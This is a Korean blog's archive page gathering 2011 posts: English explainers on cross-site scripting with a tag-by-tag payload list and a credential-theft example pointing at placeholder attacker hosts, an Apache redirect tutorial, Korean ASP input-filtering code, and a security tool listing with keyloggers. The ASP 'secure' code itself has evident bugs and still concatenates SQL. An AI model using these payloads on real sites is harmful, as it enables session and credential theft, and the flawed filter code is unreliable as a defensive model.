Search Results for 'search'


108 posts related to 'search'

  1. 2011/09/14 Cross-Site Scripting
  2. 2011/09/14 Cross Site Scripting Attack
  3. 2011/09/13 Apache(아파치)를 사용해 redirect(리다이렉트) 하는 방법 7가지
  4. 2011/09/13 ASP 해킹 방지 보안 방법
  5. 2011/09/13 실무에서 사용하는 보안 도구의 리스트
  6. 2011/09/02 원도우 특정 일자 이후 파일 삭제 방법 (delete files older than x days) forfiles
  7. 2011/08/24 리눅스 (RHEL5) 기반 VOD 동영상 Streaming 서비스 환경 구축 하기
  8. 2011/06/11 IIS 7 - IIS 7 커맨드라인 관리도구 Appcmd 소개
  9. 2011/05/01 사람찾기방법 - 이름으로 사람찾기, 전화번호로 사람찾기, 친구찾기 26
  10. 2011/01/27 ASP 웹쉘 상세 분석 및 탐지 방안
  11. 2011/01/27 윈도우 보안 총정리
  12. 2011/01/27 MS SQL Server 2008 Express Edition 설치하기.
  13. 2010/11/06 IIS 명령줄 관리 도구, AppCmd : 사이트 속성 조회 및 변경
  14. 2010/09/26 [정보] 다음 실시간이슈 검색어 XML 출력하기
  15. 2010/09/26 [정보] 다음/네이버 실시간 검색 XML
  16. 2010/09/26 [정보] 다음/네이버 실시간 검색 XML
  17. 2010/09/02 맥주소 mac address 1
  18. 2010/08/18 CSS 프레임워크를 이용한 홈페이지 디자인
  19. 2010/08/01 아이폰 iOS4.0 탈옥 후 추천할 만한 시디아 어플들
  20. 2010/06/03 리눅스 콘솔에서 파일 지우면 휴지통으로 들어가게 한후 복원까지
  21. 2010/06/03 SpeedCommander 13.10.5975 한글
  22. 2010/06/01 yum을 이용한 시스템 업데이트
  23. 2010/03/29 아파치 최적화 httpd.conf 성능
  24. 2010/03/29 리눅스에서 휴지통 (safedelete)
  25. 2010/03/29 여러가지 리눅스 팁들
  26. 2010/03/14 김영삼 수원일보 7
  27. 2010/03/14 크롬플러스_ChromePlus
  28. 2010/03/12 jquery.filestyle.js 를 이용한 input file '찾아보기' 버튼을 이미지로 바꾸기 1
  29. 2010/03/01 다중검색 쿼리 만들기
  30. 2010/03/01 ASP 소스 보기 1

Cross-Site Scripting

Cross-site scripting ('XSS' or 'CSS') is an attack that takes advantage of a Web site vulnerability in which the site displays content that includes un-sanitized user-provided data. For example, an attacker might place a hyperlink with an embedded malicious script into an online discussion forum. That purpose of the malicious script is to attack other forum users who happen to select the hyperlink. For example it could copy user cookies and then send those cookies to the attacker.

Details

Web sites today are more complex than ever and often contain dynamic content to enhance the user experience. Dynamic content is achieved through the use of Web applications that can deliver content to a user according to their settings and needs.

While performing different user customizations and tasks, many sites take input parameters from a user and display them back to the user, usually as a response to the same page request. Examples of such behavior include the following.

  • Search engines which present the search term in the title ("Search Results for: search_term")
  • Error messages which contain the erroneous parameter
  • Personalized responses ("Hello, username")

Cross-site scripting attacks occur when an attacker takes advantage of such applications and creates a request with malicious data (such as a script) that is later presented to the user requesting it. The malicious content is usually embedded into a hyperlink, positioned so that the user will come across it in a web site, a Web message board, an email, or an instant message. If the user then follows the link, the malicious data is sent to the Web application, which in turn creates an output page for the user, containing the malicious content. The user, however, is normally unaware of the attack, and assumes the data originates from the Web server itself, leading the user to believe this is valid content from the Web site.

For example, consider a Web application that requires users to log in to visit an authorized area. When users wish to view the authorized area, they provide their username and password, which is then checked against a user database table. Now, assume that this login system contains two pages: Login.asp, which created a form for the users to enter their username and password; and the page CheckCredentials.asp, which checks if the supplied username/password are valid. If the username/password are invalid, CheckCredentials.asp uses (for example), a Response.Redirect to send the user back to Login.asp, including an error message string in the query string . The Response.Redirect call will be something like the following.

Response.Redirect("Login.asp?ErrorMessage=Invalid+username+or+password")

Then, in Login.asp, the error message query string value would be displayed as follows:

Using this technique, when users attempt to login with an invalid username or password, they are returned to Login.asp and a short message is displayed indicating that their username/password were invalid. By changing the ErrorMessage value, an attacker can embed malicious JavaScript code into the generated page, causing execution of the script on the computer of the user viewing the site. For example, assume that Login.asp is being called using the following URL.

http://www.somesite.com/Login.asp?ErrorMessage=

As in the code for Login.asp, the ErrorMessage query string value will be emitted, producing the following HTML page:

The attacker embedded HTML code into this page in such a way that when users browse this page, their supplied username and password are submitted to the following page.

http://www.hax0r.com/stealPassword.asp

An attacker can send a link to the contrived page via an email message or a link from some message board site, hoping that a user will click on the link and attempt to login. Of course, by attempting to login, the user will be submitting his username and password to the attacker's site.

Prevention

Cross-site scripting is one of the easiest attacks to detect, yet many Intrusion Prevention Systems fail to do so. The reason why cross-site scripting can be easily detected is that unlike most application level attacks, cross-site scripting can be detected using a signature. The simple text pattern

To accurately detect cross-site scripting attacks the product must know where and when to look for that signature. Most cross-site scripting attacks occur either with error pages or with parameter values. Therefore the product needs to look for cross-site scripting signatures either within parameter values or within requests that return error messages. To look for signatures in parameters values the product must parse the URL correctly and retrieve the value part and then search for the signature on the value while overcoming encoding issues. To look for signatures in pages that return error messages the product needs to know that the specific URL returned an error code. Intrusion Detection and Prevention Systems which are not Web application oriented simply do not implement these very advanced capabilities.

2011/09/14 02:19 2011/09/14 02:19

Cross Site Scripting 해킹 관련 자료 입니다. 무료 테스트 버전도 있네요.

Cross Site Scripting Attack

What is Cross Site Scripting?

Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records.

Cross Site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques.

In the pie-chart below, created by the Web Hacking Incident Database for 2011 (WHID) clearly shows that whilst many different attack methods exist, SQL injection and XSS are the most popular. To add to this, many other attack methods, such as Information Disclosures, Content Spoofing and Stolen Credentials could all be side-effects of an XSS attack.

Top Web Attack Methods from the Web Hacking Incident Database WHID

In general, cross-site scripting refers to that hacking technique that leverages vulnerabilities in the code of a web application to allow an attacker to send malicious content from an end-user and collect some type of data from the victim.

Today, websites rely heavily on complex web applications to deliver different output or content to a wide variety of users according to set preferences and specific needs. This arms organizations with the ability to provide better value to their customers and prospects. However, dynamic websites suffer from serious vulnerabilities rendering organizations helpless and prone to cross site scripting attacks on their data.

"A web page contains both text and HTML markup that is generated by the server and interpreted by the client browser. Web sites that generate only static pages are able to have full control over how the browser interprets these pages. Web sites that generate dynamic pages do not have complete control over how their outputs are interpreted by the client. The heart of the issue is that if mistrusted content can be introduced into a dynamic page, neither the web site nor the client has enough information to recognize that this has happened and take protective actions." (CERT Coordination Center).

Cross Site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet.

As a hacking tool, the attacker can formulate and distribute a custom-crafted CSS URL just by using a browser to test the dynamic website response. The attacker also needs to know some HTML, JavaScript and a dynamic language, to produce a URL which is not too suspicious-looking, in order to attack a XSS vulnerable website.

Any web page which passes parameters to a database can be vulnerable to this hacking technique. Usually these are present in Login forms, Forgot Password forms, etc…

N.B. Often people refer to Cross Site Scripting as CSS or XSS, which is can be confused with Cascading Style Sheets (CSS).

The Theory of XSS

In a typical XSS attack the hacker infects a legitimate web page with his malicious client-side script. When a user visits this web page the script is downloaded to his browser and executed. There are many slight variations to this theme, however all XSS attacks follow this pattern, which is depicted in the diagram below.

A high level view of a typical XSS attack

As a web developer you are putting measures in place to secure the first step of the attack. You want to prevent the hacker from infecting your innocent web page with his malicious script. There are various ways to do that, and this article goes into some technical detail on the most important techniques that you must use to disable this sort of attack against your users.

XSS Attack Vectors

So how does a hacker infect your web page in the first place? You might think, that for an attacker to make changes to your web page he must first break the security of the web server and be able to upload and modify files on that server. Unfortunately for you an XSS attack is much easier than that.

Internet applications today are not static HTML pages. They are dynamic and filled with ever changing content. Modern web pages pull data from many different sources. This data is amalgamated with your own web page and can contain simple text, or images, and can also contain HTML tags such as <p> for paragraph, <img> for image and <script> for scripts. Many times the hacker will use the ‘comments’ feature of your web page to insert a comment that contains a script. Every user who views that comment will download the script which will execute on his browser, causing undesirable behaviour. Something as simple as a Facebook post on your wall can contain a malicious script, which if not filtered by the Facebook servers will be injected into your Wall and execute on the browser of every person who visits your Facebook profile.

By now you should be aware that any sort of data that can land on your web page from an external source has the potential of being infected with a malicious script, but in what form does the data come?

<SCRIPT>

The <SCRIPT> tag is the most popular way and sometimes easiest to detect. It can arrive to your page in the following forms:

External script:

<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>

Embedded script:

<SCRIPT> alert(“XSS”); </SCRIPT>

<BODY>

The <BODY> tag can contain an embedded script by using the ONLOAD event, as shown below:

<BODY ONLOAD=alert("XSS")>

The BACKGROUND attribute can be similarly exploited:

<BODY BACKGROUND="javascript:alert('XSS')">

<IMG>

Some browsers will execute a script when found in the <IMG> tag as shown here:

<IMG SRC="javascript:alert('XSS');">

There are some variations of this that work in some browsers:

<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">

<IFRAME>

The <IFRAME> tag allows you to import HTML into a page. This important HTML can contain a script.

<IFRAME SRC=”http://hacker-site.com/xss.html”>

<INPUT>

If the TYPE attribute of the <INPUT> tag is set to “IMAGE”, it can be manipulated to embed a script:

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<LINK>

The <LINK> tag, which is often used to link to external style sheets could contain a script:

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

<TABLE>

The BACKGROUND attribute of the TABLE tag can be exploited to refer to a script instead of an image:

<TABLE BACKGROUND="javascript:alert('XSS')">

The same applies to the <TD> tag, used to separate cells inside a table:

<TD BACKGROUND="javascript:alert('XSS')">

<DIV>

The <DIV> tag, similar to the <TABLE> and <TD> tags can also specify a background and therefore embed a script:

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

The <DIV> STYLE attribute can also be manipulated in the following way:

<DIV STYLE="width: expression(alert('XSS'));">

<OBJECT>

The <OBJECT> tag can be used to pull in a script from an external site in the following way:

<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">

<EMBED>

If the hacker places a malicious script inside a flash file, it can be injected in the following way:

<EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">

Is your site vulnerable to Cross Site Scripting?

Our experience leads us to conclude that the cross-site scripting vulnerability is one of the most highly widespread flaw on the Internet and will occur anywhere a web application uses input from a user in the output it generates without validating it. Our own research shows that over a third of the organizations applying for our free audit service are vulnerable to Cross Site Scripting. And the trend is upward.

Example of a Cross Site Scripting Attack

As a simple example, imagine a search engine site which is open to an XSS attack. The query screen of the search engine is a simple single field form with a submit button. Whereas the results page, displays both the matched results and the text you are looking for.

Search Results for "XSS Vulnerability"

To be able to bookmark pages, search engines generally leave the entered variables in the URL address. In this case the URL would look like:

http://test.searchengine.com/search.php?q=XSS%20

Vulnerability

Next we try to send the following query to the search engine:

<script type="text/javascript"> alert ('This is an XSS Vulnerability')< /script>

By submitting the query to search.php, it is encoded and the resulting URL would be something like:

http://test.searchengine.com/search.php?q=%3Cscript%3

Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%2

9%3C%2Fscript%3E

Upon loading the results page, the test search engine would probably display no results for the search but it will display a JavaScript alert which was injected into the page by using the XSS vulnerability.

How to Check for Cross Site Scripting Vulnerabilities

To check for Cross site scripting vulnerabilities, use a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website and automatically checks for Cross Site Scripting vulnerabilities. It will indicate which URLs/scripts are vulnerable to these attacks so that you can fix the vulnerability easily. Besides Cross site scripting vulnerabilities a web application scanner will also check for SQL injection & other web vulnerabilities.

Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting, Google hacking and many more vulnerabilities.

Preventing Cross Site Scripting Attacks

The purpose of this article is define Cross Site Scripting attacks and give some practical examples. Preventing XSS attacks requires diligence from the part of the programmers and the necessary security testing. You can learn more about preventing cross-site scripting attacks here.

Scanning for XSS Vulnerabilities with Acunetix Web Vulnerability Scanner Free Edition!
To check whether your website has cross site scripting vulnerabilities, download the Free Edition from http://www.acunetix.com/cross-site-scripting/scanner.htm. This version will scan any website / web application for XSS vulnerabilities and it will also reveal all the essential information related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is normally a quick exercise (depending on the size of the web-site).

2011/09/14 02:15 2011/09/14 02:15
List of methods used to redirect a web site using Apache:

Web site forwarding and redirection methods:

  1. One can forward a web page URL or home page using the following web page with the "Refresh" directive:
    <META HTTP-EQUIV="Refresh" Content="0; URL=http://www.company.com/dir1/">
    This commands the browser to refresh the page with the new specified URL. This forwards a single page only and not the entire domain. It can forward the default home page for the domain giving the appearance of forwarding the domain..

    or:

    <html>
    <head>
    <META HTTP-EQUIV="Refresh" Content="3; URL=http://www.company.com/dir1/">
    </head>
    <body>
    This page will forward to http://www.company.com/dir1/ in three seconds.
    <p>
    Please update your links.
    </body>
    </html>
  2. Use a CGI script to forward a home page: (mod_cgi)
    File: httpd.conf
    ScriptAlias / /var/www/cgi-bin/redirect-script/
    File: /var/www/cgi-bin/redirect-script
    #!/usr/bin/perl
    
    print "Status: 301 Moved\r\n" .
          "Location: http://www.new-domain.com/\r\n" .
          "\r\n";
                        
    or:
    #!/usr/bin/perl -w
    use strict;
    use CGI qw/:standard/;
    print redirect('http://www.new-domain.com');
                        
  3. Use a PHP script to redirect:
    <?php
    header("Location: http://www.new-domain.com/");
    ?>
                        
  4. Use a Javascript to redirect:
    <html>
    <head>
    <script language="Javascript" type="text/javascript">
    <!-- Hide script
    //<![CDATA[
    window.location.href="http://www.new-domain.com/"	    
    //]]> End script hiding -->
    </script>
    </head>
    </html>
                        
  5. Use Apache module (mod_rewrite)
    File: httpd.conf
    RewriteEngine On
    RewriteRule /.* http://www.new-domain.com/ [R]
    Forwards all references in entire domain.
  6. Use Apache module (mod_alias )
    File: httpd.conf
    • Redirect Domain:
      Redirect / http://www.new-domain.com/
      or
      Redirect permanent / http://www.new-domain.com/
    • Redirect Page:
      Redirect /web-page.html http://www.new-domain.com/destination-web-page.html
                              
    Note:
    • Redirect directives take precedence over Alias and ScriptAlias directives.
    • Other "Redirect" options include: temp (error 302) default - temporary redirect status, seeother (error 303) resource has been replaced and gone (error 410) resource has been permanently removed.

    Example httpd.conf with virtual hosts for multiple domains which all redirect:

    <VirtualHost XXX.XXX.XXX.XXX>
    ServerName directtolinux.com
    ServerAlias www.directtolinux.com
    ServerAlias direct-to-linux.com
    ServerAlias www.direct-to-linux.com
    ServerAlias digitalpenguins.com
    ServerAlias www.digitalpenguins.com
    Redirect permanent / http://www.yolinux.com/
    </VirtualHost>
                            
  7. Apache 301 redirect using the .htaccess file:

    If one wants to permanently forward an entire web site to a new URL or forward a single page permanently and have the search engines update their database, one should use a 301 redirect. This may redirect to a new server or to itself but to a different domain. This tutorial shows how. This method is a variation of using the mod_alias redirection shown above except that it allows the customer to redirect themselves by providing a .htaccess file themselves.

    RewriteEngine on
    RewriteCond %{HTTP_HOST} ^yolinux.com
    RewriteRule ^(.*)$ http://www.yolinux.com/$1 [R=permanent,L]
    This example forwards http://yolinux.com to http://www.yolinux.com/ to unify your site to a single URL. This can also simplify your web logs if they can not distinguish between the two
2011/09/13 20:56 2011/09/13 20:56
'////////////////////////////////////////////////////////////////////
'//가. 명령어 삽입(Command Injection) 가능성
'////////////////////////////////////////////////////////////////////
Dim title, str
title = "What's Up!!! <what happen> Oh my god!!!! & goodness"
str = ""
//변환을 수행할 함수
Sub ReplaceStr(content, byref str)
content = replace(content, "'", """)
content = replace(content, "&", "&")
content = replace(content, "<", "<")
content = replace(content, ">", ">")

str = content
End Sub

ReplaceStr title, str
response.write str

%>

'////////////////////////////////////////////////////////////////////
'//나. 크로스 사이트 스크립팅 (XSS) 가능성
'////////////////////////////////////////////////////////////////////
/include/config.inc.asp
<%
atag = "p,br" 'XSS 허용할 태그 리스트
UploadedPath = "/Uploaded_Files/" '업로드 기본 경로
fileext = "jpg,gif,png,pcx" '허용할 확장자 리스트
%>


/include/secure.inc.asp
<%
'공격 위험성이 존재하는 문자들을 필터링
'문자열 입력값을 검증
'숫자형은 데이터 타입을 별도로 체크하도록 한다.
Function sqlFilter(search)
Dim strSearch(5), strReplace(5), cnt, data

'SQL Injection 특수문자 필터링
'필수 필터링 문자 리스트
strSearch(0)="'"
strSearch(1)=""""
strSearch(2)="\"
strSearch(3)=null
strSearch(4)="#"
strSearch(5)="--"
strSearch(6)=";"

'변환될 필터 문자
strReplace(0)="''"
strReplace(1)=""""""
strReplace(2)="\\"
strReplace(3)="\"&null
strReplace(4)="\#"
strReplace(5)="\--"
strReplace(6)="\;"

data = search
For cnt = 0 to 6 '필터링 인덱스를 배열 크기와 맞춰준다.
data = replace(data, LCASE(strSearch(cnt)), strReplace(cnt))
Next

sqlFilter = data
End Function

'XSS 출력 필터 함수
'XSS 필터 함수
'$str - 필터링할 출력값
'$avatag - 허용할 태그 리스트 예) $avatag = "p,br"
Function clearXSS(strString, avatag)
'XSS 필터링
strString = replace(strString, "<", "<")
strString = replace(strString, "\0", "")

'허용할 태그 변환
avatag = replace(avatag, " ", "") '공백 제거
If (avatag <> "") Then
taglist = split(avatag, ",")

for each p in taglist
strString = replace(strString, "<"&p&" ", "<"&p&" ", 1, -1, 1)
strString = replace(strString, "<"&p&">", "<"&p&">", 1, -1, 1)
strString = replace(strString, "</"&p&" ", "</"&p&" ", 1, -1, 1)
next
End If

clearXSS = strString
End Function

'확장자 검사
'$filename: 파일명
'$avaext: 허용할 확장자 예) $avaext = "jpg,gif,pdf"
'리턴값: true-"ok", false-"error"
Function Check_Ext(filename,avaext)
Dim bad_file, FileStartName, FileEndName

If instr(filename, "\0") Then
Response.Write "허용하지 않는 입력값"
Response.End
End If

'업로드 금지 확장자 체크
bad_file = "asp,html,htm,asa,hta"

filename = Replace(filename, " ", "")
filename = Replace(filename, "%", "")

FileStartName = Left(filename,InstrRev(filename,".")-1)
FileEndName = Mid(filename, InstrRev(filename, ".")+1)

bad_file = split(bad_file, ",")

for each p in bad_file
if instr(FileEndName, p)>0 then
Check_Ext = "error"
Exit Function
end if
next

'허용할 확장자 체크
if avaext <> "" Then
ok_file = split(avaext, ",")

for each p in ok_file
if instr(FileEndName, p)>0 then
Check_Ext = "ok"
Exit Function
End If
next
End If

Check_Ext = "error"
End Function

'다운로드 경로 체크 함수
'$dn_dir - 다운로드 디렉토리 경로(path)
'$fname - 다운로드 파일명
'리턴 - true:파운로드 파일 경로, false: "error"
Function Check_Path(dn_dir, fname)
'디렉토리 구분자를 하나로 통일
dn_dir = Replace(dn_dir, "/", "\")
fname = Replace(fname, "/", "\")

strFile = Server.MapPath(dn_dir) & "\" & fname '서버 절대경로

strFname = Mid(fname,InstrRev(fname,"\")+1) '파일 이름 추출, ..\ 등의 하위 경로 탐색은 제거 됨
Response.Write strFname

strFPath = Server.MapPath(dn_dir) & "\" & strFname '웹서버의 파일 다운로드 절대 경로

If strFPath = strFile Then
Check_Path = strFile '정상일 경우 파일 경로 리턴
Else
Check_Path = "error"
End If
End Function

'IP 체크 함수
Function Check_IP(IP_Addr)
If Request.Servervariables("REMOTE_ADDR") = IP_Addr Then
Check_IP = "TRUE"
Else
Check_IP = "FALSE"
End If
End Function
%>



/head.asp
<%
'페이지에서 에러가 발생하여도 페이지 오류를 외부로 출력하지 않기위해 사용
On Error Resume Next
'On Error GoTo 0도 가능하나 2003에서는 실행되지 않음
if err.number <> 0 then
'Response.Write err.description & "<BR>" & err.source & "<BR>"
err.clear
End if
%>


/content.asp
<!--#include virtual="/include/connection.inc.asp"--> <% 'DB연결 헤더 %>
<!--#include virtual="/include/secure.inc.asp"--> <% '보안관련라이브러리 %>
<!--#include virtual="/include/config.inc.asp"--> <% '전역변수리스트 %>
<!--#include virtual="/head.asp"--> <% '초기 설정 페이지(에러 메세지 미출력) %>
<%
Dim strSQL
Dim intSeq, strName, strEmail, strSubject, strContent, intCount, dtmReg_Date, intExist
Dim blnTag, strUserIP
Dim atag

'입력값이 숫자형인 경우 IsNumeric 함수를 사용한다.
If IsNumeric(seq) Then
intSeq = Request.QueryString("seq")
Else
Response.Write "허용하지 않는 입력값입니다."
Reponse.End
End If

'문자(열)인 경우 sqlfilter 사용
'intSeq = sqlFilter(Request.QueryString("seq")) 'SQL Injection 필터링

'읽은 횟수 검색
strSQL = "SELECT count(*) FROM board WHERE intSeq='" & intSeq & "'"

objRs.Open strSQL, objDBConn

intExist = objRs(0)
objRs.Close

If intExist <> 1 Then
Response.Write "해당글이 없습니다."
Else
'읽은 횟수 증가
strSQL = "UPDATE board SET intCount=intCount+1 WHERE intSeq='" & intSeq & "'"
objRs.Open strSQL, objDBConn

'게시물 SELECTZ
strSQL = "SELECT strName,strEmail,strSubject,strContent,intCount,strUserIP,blnTag,dtmReg_Date FROM board WHERE intSeq='" & intSeq & "'"
objRs.Open strSQL, objDBConn

strName = objRs(0)
strEmail = objRs(1)
strSubject = objRs(2)
strContent = objRs(3)
intCount = objRs(4)
strUserIP = objRs(5)
blnTag = objRs(6)
dtmReg_Date = objRs(7)

objRs.Close
Set objRs = Nothing

objDBConn.Close
Set objDBConn = Nothing

'게시물 출력값에 XSS 필터링
'사용자가 입력하는 출력되는 값은 strName, strEmail, strSubject, strContent으로 이 부분은 XSS 공격이 가능한 부분들이다.
'일반적으로 본문만 선택적으로 HTML 태그 사용을 허용하며 나머지 부분들은 사용할 수 없도록 하는것이 바람직하다.
strName = clearXSS(strName, atag)
strEmail = clearXSS(strEmail, atag)
strSubject = clearXSS(strSubject, atag)
strContent = clearXSS(strContent, atag)

'줄넘김 처리
strContent = replace(strContent, vbLf, vbLf & "<br>")
%>
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=ks_c_5601-1987">
<title>내용보기</title>
</head>

<body>
<div align=center>
<table border=1>
<tr>
<td>이름</td>
<td><%=strName%></td>
<td>등록일</td>
<td><%=dtmReg_Date%></td>
</tr>
<tr>
<td>이메일</td>
<td><%=strEmail%></td>
<td>조회</td>
<td><%=intCount%></td>
</tr>
<tr>
<td>제목</td>
<td colspan=3><%=strSubject%></td>
</tr>
<tr>
<td>내용</td>
<td colspan=3><%=strContent%></td>
</tr>
<tr>
<td colspan=4>
<a href="list.asp">목록으로</a> <a href="edit.asp?seq=<%=intSeq%>">수정하기</a> <a href="delete.asp?seq=<%=intSeq%>">삭제하기</a>
</td>
</tr>
</table>

</div>
</body>
</html>
<%
End If
%>



'////////////////////////////////////////////////////////////////////
'//다. SQL 구문 삽입 가능성
'////////////////////////////////////////////////////////////////////
SQL Injection은 쿼리문의 잘못 해석함에서 발생하는 문제이다. 이를 해결하기 위해서는 쿼리문을 생성시에 입력된 값에 대한 유효성 검사를 수행하면 된다. ‘, “ 문자를 \’, \”로 변경해 주거나 아예 공백으로 처리하는 방법이다.

삭제해야 할 프로시저
xp_cmdshell
xp_stratmail
xp_sendmail
xp_grantlogin
xp_makewebtask


'////////////////////////////////////////////////////////////////////
'//사. 다운로드 취약성
'////////////////////////////////////////////////////////////////////
<!--#include virtual="/include/connection.inc.asp"--> <% 'DB연결 헤더 %>
<!--#include virtual="/include/secure.inc.asp"--> <% '보안관련라이브러리 %>
<!--#include virtual="/include/config.inc.asp"--> <% '전역변수리스트 %>
<!--#include virtual="/head.asp"--> <% '초기 설정 페이지(에러 메세지 미출력) %>
<%
Dim dn_dir, fname, val_ok
Dim UploadedPath

dn_dir = Request("dir")
fname = Request("fname") '파일 이름

' IE 5.01에서는 이 방식을 사용할때 메모리 관련 문제가 발생할 수 있다.
strUA = Request.ServerVariables("HTTP_USER_AGENT")
If Instr(strUA, "MSIE") Then
intVersion = CDbl(mid(strUA, Instr(strUA, "MSIE")+5, 3))

If intVersion < 5.01 Then
Response.Write "error"
End If
End If

if fname = "" Then
Response.Write "<script language=javascript>"
Response.Write "alert(""파일명을 입력해 주세요"");"
Response.Write "history.back();"
Response.Write "</script>"
End If

dn_dir = UploadedPath & dn_dir
val_ok = Check_Path(dn_dir, fname)

If val_ok <> "error" Then '사용자가 다운 받는 파일과 웹서버의 파일 다운로드 경로가 맞는지 비교
Set objStream = Server.CreateObject("ADODB.Stream") 'Stream 이용

Response.ContentType = "application/unknown" 'ContentType 선언
Response.AddHeader "Content-Disposition","attachment; filename=" & fname

objStream.Open
objStream.Type = 1
objStream.LoadFromFile val_ok

download = objStream.Read
Response.BinaryWrite download
End If

Set objstream = nothing '객체 초기화
%>
2011/09/13 20:49 2011/09/13 20:49
This is a complete directory structure listing of all programs included.
The main categories are listed first, followed by an individual listing
of each category, and any sub-categories inside them if necessary.

=========================
---[ Main Categories ]---
=========================
AnalogX.com Freeware
Anti-Spyware
Antivirus Tools & Scanners
Checksum.org Freeware
DiamondCS.com.au Freeware
File Recovery & Forensics
FireFox 1.0
Foundstone.com Freeware
GRC.com Freeware
Hacking & Related
Informational eBooks
KarenWare.com Freeware
Missing files (DLL, OCX, etc)
Network & Internet Tools
NTSecurity.nu Freeware
Other (Misc.)
Password Recovery
RJL Software (Freeware)
SteelBytes.com Freeware
SysInternals.com Freeware
System Information
UNIX Utilities (Win32 Ports)
Windows System & Security

========================
---[ Sub-Categories ]---
========================
* AnalogX.com Freeware
- AutoTab v1.00
- HyperTrace v2.02
- MaxMem v1.02
- NetStat Live 2.11
- PacketMon v1.00
- PCalc v1.11
- PortBlocker v1.02
- PortMapper v1.03
- Proxy v4.14
- ScriptDefender v1.02
- SimpleServer WWW v1.23
- TextScan v1.02
- WhoIs v3.01
* Anti-Spyware
- BHODemon 1.0.0.3
- BHODemon 2.0.0.21
- BHOList v1.40
- BugOff v1.10
- CWShredder 2.12
- HijackThis v1.99
- Kill2Me v1.11
- Spybot - S&D v1.3
- Startup CPL
* Antivirus Tools & Scanners
- avast! Virus Cleaner v1.0.206
- AVERT Stinger v2.4.7
- F-Prot v3.15b (DOS)
- Klister v0.4
- Microsoft Malware Removal Tool (Jan 2005)
- Patch Finder 2.11
- RKDetect
- VICE v2.0
* Checksum.org Freeware
- DriverList
- HackIt
- MD5Crack
- Monitor
- Rx
- Tx
* DiamondCS.com.au Freeware
- AdjustCR
- Advanced Process Manipulation
- Advanced Process Termination
- AutoStart Viewer v1.4
- CmdLine
- CPU Info
- DelLater
- HTTP Get
- ICMP Ping
- IP List
- IRClean & MIRClean
- OpenPorts v1.0
- PassDump
- PWReveal
- RegistryProt 2.0
- Resolve
- SendMail
- SHA-160 Hash
- TaskMan+ v1.5
- TraceRoute
- Uptime
- XWhois
* File Recovery & Forensics
- Active@ Uneraser v3.0 (DOS)
- Active@ Uneraser v3.0 (GUI)
- ADS Spy v1.05
- BackRex Expert Backup v2.1
- DiskCheck v1.0.57
- DiskView v1.0
- Eraser v5.3
- FileCHK
- Flobo Floppy Repair
- FlopShow v1.2
- Forensic Acquisition Utilities v1.0.0.1034 b1
- GetDataBack for FAT v2.31
- GetDataBack for NTFS v2.31
- Hex Editor v2.0
- LADS v4.00
- Mozilla Backup 1.3.2
- Norton Ghost Explorer 2003
- Partition Rescue v1.0
- PC Inspector File Recovery v3.0
- Recover My Files v3.06
- SectorSpy v2.1
- UnCHK 3
- Undeletion Wizard v1.1
- WinHex Professional v11.9 SR-8
* FireFox 1.0 (Portable)
* Foundstone.com Freeware
- Forensic
> BinText v3.0
> Forensic Toolkit v2.0
> Galleta v1.0
> NTLast v3.0
> Pasco v1.0
> PatchIt v2.0
> Rifiuti v1.0
> ShoWin v2.0
> Vision v1.0
- Intrusion Detection
> Attacker v3.0
> Filewatch v1.0
> Fport v2.0
- S3i
> Site Digger v2.0
> SSLDigger v1.0
- Scanning
> BOping v2.0
> CIScan v1.0
> DDosPing v2.0
> DSScan v1.0
> MessengerScan v1.05
> MyDoom Scanner v1.0
> NetSchedScan v1.0
> RPCScan v2.03
> ScanLine v1.01 (FScan)
> SNScan v1.05
> SQLScan v1.00
> SuperScan v3.0 & v4.0
> Trout v2.0
- Stress Testing
> Blast v2.0
> FSMax v2.0
> UDPFlood v2.0
- Foundstone Free Tools (Link)
* GRC.com Freeware
- DCOMbobulator
- FIX-CIH Virus Recovery
- ID Serve
- IDentify ASPI Devices
- LeakTest
- LetShare
- NoShare
- Shoot The Messenger
- SocketLock
- SocketToMe
- Trouble In Paradise (TIP)
- UnPlug n' Pray
- Wizmo
- XPdite
* Hacking & Related
- Attack Tool Kit v4.0
- AutoDial (War Dialing, 1986)
- Avalanche 3.6 (1997)
- GuidoZ Camophone.com (GUI)
- CyberFreak (1995)
- EXE Hiding
> eLiTeWrap 1.04
> Ghost
> Hidden32
> HideRun
> InPEct v1.1
- eXeScope v6.41
- Ghost Keylogger v3.8
- GuidoZ Cracks.am Searcher v1.21
- GuidoZ Key Logger v1.1
- Hacked Regedit
- Resource Hacker v3.4.0
* Informational eBooks
- 200 Ways To Revive A HDD (Rich Text Format File)
- BIOS Survival Guide (Rich Text Format File)
- How to use TELNET with SMTP (Text File)
- Increase WinXP Bandwidth (Text File)
- IP Subnetting (Adobe PDF)
- Receive only (CAT5) (Adobe PDF)
- Receive Only CAT5 (Text File)
- Smashing The Stack For Fun And Profit (Text File)
- Telenet Hosts (Text File)
- Telenet Secrets (Text File)
- The OSI Model (Adobe PDF)
- WinNT Hack (Text File)
* KarenWare.com Freeware
- Alarm Clock v3.0.3
- Autorun.inf Editor v1.4
- Clipboard Viewer v2.2
- Computer Profiler v2.5.1
- Cookie Viewer v3.3
- Countdown Timer II v3.4
- Directory Printer v4.3
- Disk Slack Checker v2.3.1
- Drive Info v2.2
- E-Mailer II v1.2
- Font Explorer v2.0.3
- LAN Monitor v1.3.4
- MD5 Hasher v1.0
- Net Monitor v3.5.1
- Print Logger v2.4.1
- Recycler v1.1
